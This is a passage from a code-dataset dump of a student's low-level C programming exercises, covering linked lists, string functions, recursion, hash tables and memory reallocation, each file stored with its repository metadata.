(!buff)\n\t\treturn (0);\n\tbufflen = read(filedesc, &buff[0], letters);\n\tbufflen = write(STDOUT_FILENO, &buff[0], bufflen);\n\tfree(buff);\n\tclose(filedesc);\n\treturn (bufflen);\n}\n" }, { "alpha_fraction": 0.5031055808067322, "alphanum_fraction": 0.5124223828315735, "avg_line_length": 13, "blob_id": "c50dc21691b68d75b6e54ea030d43cc10c29bd69", "content_id": "94ea388d3d0bfe55f0d37375758d43af19a5995b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 322, "license_type": "no_license", "max_line_length": 42, "num_lines": 23, "path": "/0x04-more_functions_nested_loops/7-print_diagonal.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * print_diagonal - prints a diagonal line\n *@n: number of lines\n * Return: void\n */\nvoid print_diagonal(int n)\n{\n\tint space, i;\n\n\tfor (i = 0; i < n; i++)\n\t{\n\t\tfor (space = 0; space < i; space++)\n\t\t{\n\t\t\t_putchar(' ');\n\t\t}\n\t\t_putchar('\\\\');\n\t\t_putchar('\\n');\n\t}\n\tif (n <= 0)\n\t\t_putchar('\\n');\n}\n" }, { "alpha_fraction": 0.5659863948822021, "alphanum_fraction": 0.5741496682167053, "avg_line_length": 17.846153259277344, "blob_id": "c369e96375d704ee32f386966b82b35ffaa698a9", "content_id": "f89ff60baa9bed28a6934f462a6c0e5673a1d636", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 735, "license_type": "no_license", "max_line_length": 77, "num_lines": 39, "path": "/0x13-more_singly_linked_lists/9-insert_nodeint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * insert_nodeint_at_index - inserts a node at index idx\n * @head: head of list\n * @idx: index to insert node\n * @n: contents of node\n *\n * Return: Address of new node, or NULL\n */\nlistint_t *insert_nodeint_at_index(listint_t **head, unsigned int idx, int n)\n{\n\tlistint_t *new, *tmp, *tmp2;\n\tunsigned int i = 0;\n\n\tif (head == NULL)\n\t\treturn (NULL);\n\tnew = malloc(sizeof(listint_t));\n\tif (new == NULL)\n\t{\n\t\treturn (NULL);\n\t}\n\ttmp = *head;\n\tnew->n = n;\n\tif (idx == 0 || *head == NULL)\n\t{\n\t\tnew->next = *head;\n\t\t*head = new;\n\t\treturn (new);\n\t}\n\tfor (; tmp != NULL && i < idx - 1; i++, tmp = tmp->next)\n\t\t;\n\tif (tmp == NULL)\n\t\treturn (NULL);\n\ttmp2 = tmp->next;\n\tnew->next = tmp2;\n\ttmp->next = new;\n\treturn (new);\n}\n" }, { "alpha_fraction": 0.5859246850013733, "alphanum_fraction": 0.5908346772193909, "avg_line_length": 16.211267471313477, "blob_id": "e57d9cf9a4865f1eba4ddf60d44fad4a6a249a68", "content_id": "1253cfe42c57fd2b9fe9dd3bdf9c5f51572bccf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1222, "license_type": "no_license", "max_line_length": 56, "num_lines": 71, "path": "/0x0E-structures_typedef/4-new_dog.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include <stdio.h>\n#include \"dog.h\"\n\nint _strlen(char *s);\nvoid _strcpy(char *dest, char *src);\n/**\n * new_dog - creates a new dog\n * @name: dog name\n * @age: dog ag4e\n * @owner: dog owner\n *\n * Return: Pointer to a dog_t struct\n */\ndog_t *new_dog(char *name, float age, char *owner)\n{\n\tdog_t *mydog = malloc(sizeof(dog_t));\n\tchar *tmpname;\n\tchar *tmpowner;\n\n\tif (mydog == NULL)\n\t\treturn (NULL);\n\ttmpname = malloc((_strlen(name) + 1) * sizeof(char));\n\tif (tmpname == NULL)\n\t{\n\t\tfree(mydog);\n\t\treturn (NULL);\n\t}\n\ttmpowner = malloc((_strlen(owner) + 1) * sizeof(char));\n\tif (tmpowner == NULL)\n\t{\n\t\tfree(tmpname);\n\t\tfree(mydog);\n\t\treturn (NULL);\n\t}\n\t_strcpy(tmpname, name);\n\t_strcpy(tmpowner, owner);\n\t(*mydog).name = tmpname;\n\t(*mydog).age = age;\n\t(*mydog).owner = tmpowner;\n\treturn (mydog);\n}\n/**\n * _strlen - finds the length of an input string\n * @s: input string\n *\n * Return: length of string\n */\nint _strlen(char *s)\n{\n\tint i;\n\n\tfor (i = 0; s[i]; i++)\n\t\t;\n\treturn (i);\n}\n/**\n * _strcpy - copies src string to dest\n * @dest: destination string\n * @src: source string\n *\n * Return: void\n */\nvoid _strcpy(char *dest, char *src)\n{\n\tint i = 0;\n\n\tfor (; src[i]; i++)\n\t\tdest[i] = src[i];\n\tdest[i] = '\\0';\n}\n" }, { "alpha_fraction": 0.7096773982048035, "alphanum_fraction": 0.727419376373291, "avg_line_length": 31.6842098236084, "blob_id": "27cef6a996da6b7b7be70d4d3478031d92f5f989", "content_id": "ac72e9b78d30b2668519739d8f3722c6a605704e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 620, "license_type": "no_license", "max_line_length": 121, "num_lines": 19, "path": "/0x0A-argc_argv/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "# 0x0A C - argc, argv\n\n## About / synopsis\nAn introduction to argc and argv, including how to access and use them, and how to get code to compile if they are unused\n\n## Built With\n\n* [c] - Betty style formatting\n\n### Project contents\n\n| Project Title | Short Description |\n| --- | --- |\n|0-whatsmyname.c|Casts argc to void to allow compilation. Prints argv[0]|\n|1-args.c|Prints argc|\n|2-args.c|Prints all arguments in argv|\n|3-mul.c|Multiplies exactly two numbers received in argv|\n|4-add.c|Adds any amount of integers from argv|\n|100-change.c|Prints the minimum number of coins to make change for a number sent in argv|" }, { "alpha_fraction": 0.577464759349823, "alphanum_fraction": 0.5857874751091003, "avg_line_length": 18.283950805664062, "blob_id": "ddd767c0e06cacd4f26a930cf19174985d77a04a", "content_id": "2a089bf301fe207d3280eb57eb4a5679d4f29d60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1562, "license_type": "no_license", "max_line_length": 72, "num_lines": 81, "path": "/0x1A-hash_tables/3-hash_table_set.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"hash_tables.h\"\n#include <string.h>\n#include <stdio.h>\n\nhash_node_t *create_node(const char *key, const char *value);\n/**\n * hash_table_set - adds an element to the hash table\n * @ht: hash table\n * @key: key to add\n * @value: value associated with key\n *\n * Return: 1 on success, 0 on failure\n */\nint hash_table_set(hash_table_t *ht, const char *key, const char *value)\n{\n\tunsigned long int k, idx;\n\thash_node_t **head, *tmp;\n\n\tif (!ht || !key || key[0] == '\\0' || !value)\n\t\treturn (0);\n\tk = hash_djb2((unsigned char *)key);\n\tidx = k % ht->size;\n\thead = ht->array;\n\tif (head[idx] == NULL)\n\t{\n\t\thead[idx] = create_node(key, value);\n\t\tif (!head[idx])\n\t\t\treturn (0);\n\t}\n\telse\n\t{\n\t\tfor (tmp = head[idx]; tmp != NULL; tmp = tmp->next)\n\t\t{\n\t\t\tif (!strcmp(tmp->key, key))\n\t\t\t{\n\t\t\t\tfree(tmp->value);\n\t\t\t\ttmp->value = strdup(value);\n\t\t\t\treturn (1);\n\t\t\t}\n\t\t}\n\t\ttmp = create_node(key, value);\n\t\ttmp->next = head[idx];\n\t\thead[idx] = tmp;\n\t}\n\treturn (1);\n}\n\n/**\n * create_node - creates a node\n * @key: the key.\n * @value: the value associated with the key\n *\n * Return: The created node\n */\nhash_node_t *create_node(const char *key, const char *value)\n{\n\thash_node_t *node = malloc(sizeof(hash_node_t));\n\n\tif (!node)\n\t\treturn (0);\n\tnode->key = malloc(strlen(key) + 1);\n\tif (!node->key)\n\t{\n\t\tfree(node);\n\t\treturn (0);\n\t}\n\tstrcpy(node->key, key);\n\tif (value != NULL)\n\t{\n\t\tnode->value = malloc(strlen(value) + 1);\n\t\tif (!node->value)\n\t\t{\n\t\t\tfree(node->key);\n\t\t\tfree(node);\n\t\t\treturn (NULL);\n\t\t}\n\t\tstrcpy((node->value), value);\n\t}\n\tnode->next = NULL;\n\treturn (node);\n}\n" }, { "alpha_fraction": 0.720634937286377, "alphanum_fraction": 0.7301587462425232, "avg_line_length": 36.117645263671875, "blob_id": "734efbad2249d48efa9ec1b242ed0dd72be29dee", "content_id": "7a351ea5c0a36a38c8da1ad7bc670dab072fee8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 630, "license_type": "no_license", "max_line_length": 155, "num_lines": 17, "path": "/0x09-static_libraries/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "# 0x09 C - Static Libraries\n\n## About / synopsis\nFirst venture into creation and use of static libraries. Repo is on the small side, containing only the library file and a script to create a library file.\n\n## Built With\n\n* [c] - Betty format\n* [bash] - Simple two-line script\n\n### Project contents\n\n| Project Title | Short Description |\n| --- | --- |\n|0: libholberton.a|A small static library containing various object files from the previous C repos|\n|1: create_static_lib.sh|A bash script that converts all .c files in a folder to .o files, then makes a static library from them|\n|2: Static Libraries blog post|**link pending**|" }, { "alpha_fraction": 0.5053191781044006, "alphanum_fraction": 0.5585106611251831, "avg_line_length": 17.799999237060547, "blob_id": "628e85b89bd0003221ef4bf775ffb56aaf6d6f46", "content_id": "b12f404689ba29ed34ef5fb6aa183a86b3583dd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 376, "license_type": "no_license", "max_line_length": 78, "num_lines": 20, "path": "/0x06-pointers_arrays_strings/3-strcmp.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _strcmp - compares two strings\n *@s1: string 1 to be compared\n *@s2: string 2 to be compared\n * Return: a positive, negative, or 0 number based on the first different char\n */\nint _strcmp(char *s1, char *s2)\n{\n\twhile ((*s1 != '\\0' && *s2 != '\\0') && *s1 == *s2)\n\t{\n\t\ts1++;\n\t\ts2++;\n\t}\n\tif (*s1 == *s2)\n\t\treturn (0);\n\telse\n\t\treturn (*s1 - *s2);\n}\n" }, { "alpha_fraction": 0.6094182729721069, "alphanum_fraction": 0.6121883392333984, "avg_line_length": 18.513513565063477, "blob_id": "3f126638017b16ae61a1192caadfae22277bbc89", "content_id": "0fd874b3db4e94c48ac6c8ddc7d2cbf389e47d4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 722, "license_type": "no_license", "max_line_length": 79, "num_lines": 37, "path": "/0x0C-more_malloc_free/100-realloc.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include \"holberton.h\"\n\n/**\n * _realloc - reallocates a memory block to a new size, and copies the contents\n * @ptr: pointer to reallocate\n * @old_size: size of previous pointer\n * @new_size: Size to reallocate to\n * Return: Pointer to new memory address, or NULL on failure\n */\nvoid *_realloc(void *ptr, unsigned int old_size, unsigned int new_size)\n{\n\tchar *new;\n\tunsigned int i;\n\n\tif (new_size == old_size)\n\t\treturn (ptr);\n\tif (new_size == 0 && ptr)\n\t{\n\t\tfree(ptr);\n\t\treturn (NULL);\n\t}\n\tnew = malloc(new_size);\n\tif (!new)\n\t{\n\t\tfree(ptr);\n\t\treturn (NULL);\n\t}\n\tif (!ptr)\n\t\treturn ((void *)new);\n\tfor (i = 0; i < old_size; i++)\n\t{\n\t\tnew[i] = *((char *)ptr + i);\n\t}\n\tfree(ptr);\n\treturn ((void *)new);\n}\n" }, { "alpha_fraction": 0.5081300735473633, "alphanum_fraction": 0.522357702255249, "avg_line_length": 13.057143211364746, "blob_id": "36975b860e272850f9c23f1a2373101a299b7e03", "content_id": "5496bbeb3cb385ba3fed45652a91773c1f7844d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 492, "license_type": "no_license", "max_line_length": 62, "num_lines": 35, "path": "/0x07-pointers_arrays_strings/4-strpbrk.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdio.h>\n/**\n * _strpbrk - finds the first occurrence of any byte in accept\n * @s: source string\n * @accept: bytes to search for\n * Return: Pointer to first matching byte, or null byte\n */\nchar *_strpbrk(char *s, char *accept)\n{\n\tint i = 0, f = 0;\n\n\twhile (*s)\n\t{\n\t\ti = 0;\n\t\twhile (accept[i])\n\t\t{\n\t\t\tif (*s == accept[i])\n\t\t\t{\n\t\t\t\tf = 1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\ti++;\n\t\t}\n\t\tif (f == 1)\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t\ts++;\n\t}\n\tif (f == 1)\n\t\treturn (s);\n\telse\n\t\treturn ('\\0');\n}\n" }, { "alpha_fraction": 0.6123456954956055, "alphanum_fraction": 0.6123456954956055, "avg_line_length": 16.60869598388672, "blob_id": "c5cc4b808e4175533747a0a046771b17974b8d74", "content_id": "cb99913a7fd86501ffb6294cfeb92a2c1a0c1e2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 405, "license_type": "no_license", "max_line_length": 53, "num_lines": 23, "path": "/0x13-more_singly_linked_lists/2-add_nodeint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * add_nodeint - adds a node to the front of a list\n * @head: the list head\n * @n: int to be duplicated into the list\n *\n * Return: Address of new element, or NULL\n */\nlistint_t *add_nodeint(listint_t **head, const int n)\n{\n\tlistint_t *new;\n\n\tnew = malloc(sizeof(listint_t));\n\tif (new == NULL)\n\t{\n\t\treturn (NULL);\n\t}\n\tnew->n = n;\n\tnew->next = *head;\n\t*head = new;\n\treturn (new);\n}\n" }, { "alpha_fraction": 0.5721649527549744, "alphanum_fraction": 0.623711347579956, "avg_line_length": 19.421052932739258, "blob_id": "3acbd84ee2f814e6b0ea83abf2c1f2a65cabfa6a", "content_id": "81b964ae97bbc82747c86b4c5ae7028b786620af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 388, "license_type": "no_license", "max_line_length": 73, "num_lines": 19, "path": "/0x00-hello_world/101-quote.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <unistd.h>\n\n\n/**\n * main - Uses fwrite (unistd.h) and strlen (string.h) to print to stderr\n * without using any version of banned commands\n * Return: always 1\n */\nint main(void)\n{\n\tint l;\n\n\tl = sizeof(\"and that piece of art is useful - Dora Korpar, 2015-10-19\");\n\twrite(2,\n\t \"and that piece of art is useful\\\" - Dora Korpar, 2015-10-19\\n\",\n\t\tl + 1);\n\treturn (1);\n}\n" }, { "alpha_fraction": 0.6132075190544128, "alphanum_fraction": 0.6155660152435303, "avg_line_length": 17.434782028198242, "blob_id": "3a50e9429e2da2d50eeaf422104773b3572df08d", "content_id": "2c63dca044f6fedfa2f594905fb04b63b49b9b20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 424, "license_type": "no_license", "max_line_length": 68, "num_lines": 23, "path": "/0x13-more_singly_linked_lists/7-get_nodeint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * get_nodeint_at_index - finds the contents of node[index]\n * @head: head of linked list\n * @index: node index to return\n *\n * Return: Node at index index\n */\nlistint_t *get_nodeint_at_index(listint_t *head, unsigned int index)\n{\n\tlistint_t *tmp;\n\tunsigned int i = 0;\n\n\tif (head == NULL)\n\t\treturn (NULL);\n\ttmp = head;\n\tfor (; tmp != NULL && i < index; i++)\n\t{\n\t\ttmp = tmp->next;\n\t}\n\treturn (tmp);\n}\n" }, { "alpha_fraction": 0.4909090995788574, "alphanum_fraction": 0.5376623272895813, "avg_line_length": 14.399999618530273, "blob_id": "bd4ab5d60b589a8b12a9f56e6b728916b9077cc0", "content_id": "e70d81eba1ba6476989e7f7d97c520bc4bc2527c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 385, "license_type": "no_license", "max_line_length": 44, "num_lines": 25, "path": "/0x01-variables_if_else_while/10-print_comb2.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Prints the numbers 0-99.\n * Certain functions are forbidden,\n * one function can be used at most 5 times.\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint num = 0;\n\n\tdo {\n\t\tputchar((num / 10) + '0');\n\t\tputchar((num % 10) + '0');\n\t\tif (num < 99)\n\t\t{\n\t\t\tputchar(',');\n\t\t\tputchar(' ');\n\t\t}\n\t\tnum++;\n\t} while (num < 100);\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.6009852290153503, "alphanum_fraction": 0.6206896305084229, "avg_line_length": 18.03125, "blob_id": "3ddd4f025730e49338a95705ff96a4fcb67faece", "content_id": "4291486e6d421172328102cc82ad17faa97ae560", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 609, "license_type": "no_license", "max_line_length": 53, "num_lines": 32, "path": "/0x08-recursion/6-is_prime_number.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\nint checker(int num, int prime);\n/**\n * is_prime_number - checks if input integer is prime\n * @n: number to check\n * Return: 1 or 0, if prime or not prime respectively\n */\nint is_prime_number(int n)\n{\n\tint x;\n\n\tif (n <= 1)\n\t\treturn (0);\n\tx = checker(2, n);\n\treturn (x);\n}\n/**\n * checker - checks if a number [prime] is prime\n * @num: current number using to check\n * @prime: Number being checker\n *\n * Return: 0 if not prime, 1 if prime\n */\nint checker(int num, int prime)\n{\n\tif (num * 2 > prime)\n\t\treturn (1);\n\tif (prime % num == 0)\n\t\treturn (0);\n\treturn (checker(num + 1, prime));\n}\n" }, { "alpha_fraction": 0.553699254989624, "alphanum_fraction": 0.560859203338623, "avg_line_length": 15.760000228881836, "blob_id": "3b6daa4d50f2d38f89738c5d3a03ad1bc656bec1", "content_id": "fdac9fa91647f23379f3b528819b2e4045d908c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 419, "license_type": "no_license", "max_line_length": 52, "num_lines": 25, "path": "/0x18-dynamic_libraries/testfiles/1-strncat.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _strncat - concatenates up to n bytes of a string\n *@dest: destination pointer\n *@src: source string\n *@n: bytes to copy\n * Return: dest pointer\n */\nchar *_strncat(char *dest, char *src, int n)\n{\n\tint i = 0, num = 0, len;\n\n\twhile (dest[i])\n\t\ti++;\n\twhile (src[num])\n\t\tnum++;\n\tlen = i + num;\n\n\tfor (num = 0; (i < len) && (num < n); num++, i++)\n\t{\n\t\tdest[i] = src[num];\n\t}\n\treturn (dest);\n}\n" }, { "alpha_fraction": 0.5656934380531311, "alphanum_fraction": 0.5802919864654541, "avg_line_length": 14.222222328186035, "blob_id": "b69073f89822a8c0abb4cb65e4fdd8e7f9b0beb3", "content_id": "4a636d0f2570bcab1d734d3d78a6fcf3cef905f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 274, "license_type": "no_license", "max_line_length": 53, "num_lines": 18, "path": "/0x01-variables_if_else_while/7-print_tebahpla.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - prints the alphabet in lowercase, reversed.\n * Only uses 2 instances of the allowed command.\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint ch = 'z';\n\n\tdo {\n\t\tputchar(ch);\n\t\tch--;\n\t} while (ch > 'a' - 1);\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5424954891204834, "alphanum_fraction": 0.5452079772949219, "avg_line_length": 19.867923736572266, "blob_id": "aa27d72a25f9b28e735c3006b2a97428e5570480", "content_id": "21a176ef11b8a2c04c2e3f628ab86763d84bafcb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1106, "license_type": "no_license", "max_line_length": 77, "num_lines": 53, "path": "/0x17-doubly_linked_lists/7-insert_dnodeint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * insert_dnodeint_at_index - inserts a new node at a given position\n * @h: a pointer to a dlistint_t linked list.\n * @idx: the position to add the node\n * @n: The data contained in the new node\n *\n * Return: the address of the new node, or NULL if it failed\n */\ndlistint_t *insert_dnodeint_at_index(dlistint_t **h, unsigned int idx, int n)\n{\n\tunsigned int i = 0;\n\tdlistint_t *new = malloc(sizeof(dlistint_t)), *top;\n\n\tif (!new)/*malloc failure check*/\n\t\treturn (NULL);\n\tnew->prev = NULL;\n\tnew->n = n;\n\tif (!h)\n\t{\n\t\tfree(new);\n\t\treturn (NULL);\n\t}\n\tif (idx == 0)\n\t{\n\t\tnew->next = (*h);\n\t\tif (*h)\n\t\t\t(*h)->prev = new;\n\t\t*h = new;\n\t\treturn (new);\n\t}\n\tif (!*h && !((*h)->prev))/*make sure we're actually at the head*/\n\t{\n\t\tfor (; (*h)->prev; (*h) = (*h)->prev)\n\t\t\t;\n\t}\n\ttop = *h;\n\tfor (; i < idx - 1 && (*h) != NULL; i++, (*h) = (*h)->next)\n\t\t;/*to get the node we need to insert after*/\n\tif (*h == NULL)\n\t{\n\t\t*h = top;\n\t\tfree(new);\n\t\treturn (NULL);\n\t}\n\tnew->next = (*h)->next, new->prev = (*h);\n\tif ((*h)->next)\n\t\t(*h)->next->prev = new;\n\t(*h)->next = new;\n\t*h = top;\n\treturn (new);\n}\n" }, { "alpha_fraction": 0.5390625, "alphanum_fraction": 0.5494791865348816, "avg_line_length": 15, "blob_id": "f46b1ef938e99509b9e0607483ba141a928af6cb", "content_id": "2ffa0a6ed9d9b351bfcf36d0ee4b6674245a03e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 384, "license_type": "no_license", "max_line_length": 37, "num_lines": 24, "path": "/0x06-pointers_arrays_strings/0-strcat.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdio.h>\n/**\n * _strcat - concatenates two strings\n *@dest: destination pointer\n *@src: Source string\n * Return: pointer to dest\n */\nchar *_strcat(char *dest, char *src)\n{\n\tint i = 0, n = 0, len;\n\n\twhile (dest[i])\n\t\ti++;\n\twhile (src[n])\n\t\tn++;\n\tlen = i + n;\n\tfor (n = 0; i < len; n++, i++)\n\t{\n\t\tdest[i] = src[n];\n\t}\n\tdest[i] = '\\0';\n\treturn (dest);\n}\n" }, { "alpha_fraction": 0.6318897604942322, "alphanum_fraction": 0.6525590419769287, "avg_line_length": 23.780487060546875, "blob_id": "184ef698881e2ed7a7a1b5a3a928024fa96ef7c9", "content_id": "350fe1e3b080243357789b9735d3f8dacca0f1e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1016, "license_type": "no_license", "max_line_length": 63, "num_lines": 41, "path": "/0x15-file_io/100-elf_header.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdlib.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <elf.h>\n\n\n#define USAGE (\"Usage: elf_header elf_filename\\n\")\n#define N_ELF (\"Error: File must be an ELF file\\n\")\n#define N_OPEN (\"Error: Cannot open file %s\\n\")\n#define N_READ (\"Error: Cannor read from file %s\\n\")\n#define N_CLOSE (\"Error: Unable to close file descriptor %d\\n\")\n\nvoid print_magic(Elf64_Ehdr *ehdr64);\n/**\n * main - displays the information contained in the ELF header\n * @argc: argument count\n * @argv: argument vector\n *\n * Return: Always 0 (ok)\n */\nint main(int argc, char *argv[])\n{\n\tint fd, b;\n\tElf64_Ehdr head;\n\n\tif (argc != 2 || argv == NULL)\n\t\tdprintf(STDERR_FILENO, USAGE), exit(98);\n\tfd = open(argv[1], O_RDONLY);\n\tif (fd < 0)\n\t\tdprintf(STDERR_FILENO, N_OPEN, argv[1]), exit(98);\n\tb = read(fd, &head, sizeof(head));\n\tif (b < 1)\n\t\tdprintf(STDERR_FILENO, N_READ, argv[1]), exit(98);\n\n\t/*Function call go here*/\n\n\tif (close(fd))\n\t\tdprintf(STDERR_FILENO, N_CLOSE, fd), exit(98);\n\treturn (EXIT_SUCCESS);\n}\n" }, { "alpha_fraction": 0.4954751133918762, "alphanum_fraction": 0.5090497732162476, "avg_line_length": 15.370369911193848, "blob_id": "866fd165d63736f6c5971cc516e685a3f548f299", "content_id": "f6db17a43c35a4270207efc14248fea843b27c9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 442, "license_type": "no_license", "max_line_length": 45, "num_lines": 27, "path": "/0x04-more_functions_nested_loops/10-print_triangle.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * print_triangle - prints a triangle\n * @size: size of the triangle in lines\n * Return: Always 0 (ok)\n */\nvoid print_triangle(int size)\n{\n\tint i, x, y;\n\tint vis = 1, inv;\n\n\tif (size <= 0)\n\t{\n\t\t_putchar('\\n');\n\t\treturn;\n\t}\n\tfor (i = 0; i < size; i++)\n\t{\n\t\tfor (inv = size - vis, x = 0; x < inv; x++)\n\t\t\t_putchar(' ');\n\t\tfor (vis = size - inv, y = 0; y < vis; y++)\n\t\t\t_putchar('#');\n\t\t_putchar('\\n');\n\t\tvis++;\n\t}\n}\n" }, { "alpha_fraction": 0.5811688303947449, "alphanum_fraction": 0.5930736064910889, "avg_line_length": 16.11111068725586, "blob_id": "a4f086c7667e9db9cb46fe57d319f8bfb0bc13f4", "content_id": "b2167d49b3fd24c98bf553a046dc6e538e960561", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 924, "license_type": "no_license", "max_line_length": 55, "num_lines": 54, "path": "/0x08-recursion/7-is_palindrome.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\nint _strlen(char *s);\nint checker(char *s, int len, int count);\n/**\n * is_palindrome - checks if the string is a palindrome\n * @s: target string\n * Return: 1 or 0 if palindrome or not, respectively\n */\nint is_palindrome(char *s)\n{\n\tint len, check;\n\n\tlen = _strlen(s) - 1;\n\tcheck = checker(s, len, 0);\n\treturn (check);\n}\n/**\n * _strlen - gets the length of a string\n * @s: input string\n *\n * Return: length of string\n */\nint _strlen(char *s)\n{\n\tif (*s)\n\t{\n\t\ts++;\n\t\treturn (1 + _strlen(s));\n\t}\n\treturn (0);\n}\n/**\n * checker - checks if string of length is a palindrome\n * @s: target string\n * @len: length of the string\n * @count: count of times looped\n *\n * Return: 1 if a palindrome, 0 if not\n */\nint checker(char *s, int len, int count)\n{\n\tif (*s == s[len] && count < len)\n\t{\n\t\ts++;\n\t\tlen -= 2;\n\t\tcount++;\n\t\treturn (checker(s, len, count));\n\t}\n\tif (*s == s[len])\n\t\treturn (1);\n\telse\n\t\treturn (0);\n}\n" }, { "alpha_fraction": 0.5571895241737366, "alphanum_fraction": 0.5735294222831726, "avg_line_length": 15.54054069519043, "blob_id": "f82e6688e3a9a7a9ba64b2ebb71781706b7385dc", "content_id": "5b5d7477b2ea932260d7aee5e802ff2eccc13e39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 612, "license_type": "no_license", "max_line_length": 65, "num_lines": 37, "path": "/0x13-more_singly_linked_lists/10-delete_nodeint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * delete_nodeint_at_index - deletes a node at index idx\n * @head: head of list\n * @index: index to insert node\n *\n * Return: Address of new node, or NULL\n */\nint delete_nodeint_at_index(listint_t **head, unsigned int index)\n{\n\tlistint_t *tmp, *tmp2;\n\tunsigned int i = 0;\n\n\tif (head == NULL)\n\t\treturn (-1);\n\n\ttmp = *head;\n\n\tif (index == 0 && *head != NULL)\n\t{\n\t\t*head = tmp->next;\n\t\tfree(tmp);\n\t\treturn (1);\n\t}\n\n\tfor (; tmp != NULL && i < index - 1; i++, tmp = tmp->next)\n\t\t;\n\n\tif (tmp == NULL)\n\t\treturn (-1);\n\ttmp2 = tmp->next;\n\ttmp->next = tmp->next->next;\n\tfree(tmp2);\n\n\treturn (1);\n}\n" }, { "alpha_fraction": 0.5784023404121399, "alphanum_fraction": 0.584319531917572, "avg_line_length": 17.2702693939209, "blob_id": "1212924e2b11a50dd7518f808dbcdbfeacc12fd2", "content_id": "745834b39b2568697699be53c6a66c83ad703077", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 676, "license_type": "no_license", "max_line_length": 78, "num_lines": 37, "path": "/0x10-variadic_functions/2-print_strings.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"variadic_functions.h\"\n#include <stdio.h>\n#include <stdarg.h>\n\n/**\n * print_strings - prints all strings in arg list seperated by char *separator\n * @separator: char * to seperate strings printed\n * @n: number of inputs\n *\n * Return: Void\n */\nvoid print_strings(const char *separator, 